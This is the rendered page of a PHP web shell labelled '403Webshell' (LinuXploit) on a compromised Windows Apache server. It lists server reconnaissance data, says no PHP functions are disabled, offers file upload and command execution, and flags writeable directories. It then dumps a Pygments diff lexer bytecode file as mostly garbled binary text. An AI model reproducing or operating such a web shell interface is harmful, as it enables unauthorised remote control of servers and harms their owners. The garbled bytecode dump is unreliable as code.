403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pygments/lexers/__pycache__/diff.cpython-39.opt-1.pyc
a

SҼa��@s�dZddlZddlmZmZmZddlmZmZm	Z	m
Z
mZmZm
Z
gd�ZGdd�de�ZGdd	�d	e�ZGd
d�de�ZdS)z�
    pygments.lexers.diff
    ~~~~~~~~~~~~~~~~~~~~

    Lexers for diff/patch formats.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
RegexLexer�include�bygroups)�Text�Comment�Operator�Keyword�Name�Generic�Literal)�	DiffLexer�DarcsPatchLexer�
WDiffLexerc
@sxeZdZdZdZddgZddgZddgZd	d
efde	j
fde	jfd
e	jfde	j
fde	jfde	jfdefgiZdd�ZdS)rz>
    Lexer for unified or context-style diffs or patches.
    ZDiff�diffZudiffz*.diffz*.patchztext/x-diffztext/x-patch�rootz .*\nz\+.*\nz-.*\nz!.*\nz@.*\nz([Ii]ndex|diff).*\nz=.*\n�.*\ncCs@|dd�dkrdS|dd�dkr(dS|dd�dkr<dSdS)	N�zIndex: T�zdiff �z--- g�������?�)�textrr�8/usr/lib/python3.9/site-packages/pygments/lexers/diff.py�analyse_text+szDiffLexer.analyse_textN)�__name__�
__module__�__qualname__�__doc__�name�aliases�	filenames�	mimetypesrr
�Inserted�DeletedZStrongZ
Subheading�Heading�tokensrrrrrrs"��
rc@seZdZdZdZdgZddgZdZdefdefd	efd
efde	ee
eeeee
jee�	fde	ee
eeeee
je�d
fdejfdejfdejfdd�e�e	ee
e�fdejdfdejdfdefg
defdedfgdedfdefged�dejfdejfged�dejfdejfgd �Zd!S)"r
z�
    DarcsPatchLexer is a lexer for the various versions of the darcs patch
    format.  Examples of this format are derived by commands such as
    ``darcs annotate --patch`` and ``darcs send``.

    .. versionadded:: 0.10
    zDarcs PatchZdpatchz*.dpatchz*.darcspatch)ZhunkZaddfileZadddirZrmfile�rmdir�move�replace�<�>z\{z\}z/(\[)((?:TAG )?)(.*)(\n)(.*)(\*\*)(\d+)(\s?)(\])z+(\[)((?:TAG )?)(.*)(\n)(.*)(\*\*)(\d+)(\s?)�commentzNew patches:zContext:zPatch bundle hash:z(\s*)(%s)(.*\n)�|z\+�insert�-�deleterz	[^\]].*\nz\]�#popz\nz
\[_[^_]*_]�specialTextz\[z[^\n\[]+)rr*r0r,r.N)rrrrrrrZDPATCH_KEYWORDSrrrr	rrZDater
r#�joinr!r"rrr$rrrrr
4sZ����
�

������r
c	@s�eZdZdZdZdgZdgZgZej	ej
BZdZdZ
dZdZd	Zeejd
feejdfeefdefgeejd
feejd
feejdfe
ejdfeejfdejfgeejd
feejd
fe
ejdfeejdfeejfdejfgd�ZdS)ra3
    A `wdiff <https://www.gnu.org/software/wdiff/>`_ lexer.

    Note that:

    * It only works with normal output (without options like ``-l``).
    * If the target files contain "[-", "-]", "{+", or "+}",
      especially they are unbalanced, the lexer will get confused.

    .. versionadded:: 2.2
    ZWDiffZwdiffz*.wdiffz\{\+z\+\}z\[\-z\-\]z[^{}[\]+-]+�inserted�deleted�.z#pushr/)rr2r3N)rrrrrrrr �re�	MULTILINE�DOTALL�flagsZins_opZins_clZdel_opZdel_clZnormalr
r!r"rr$rrrrrns>

�



�




��r)rr5Zpygments.lexerrrrZpygments.tokenrrrrr	r
r�__all__rr
rrrrr�<module>s
$ :

Youez - 2016 - github.com/yon3zu
LinuXploit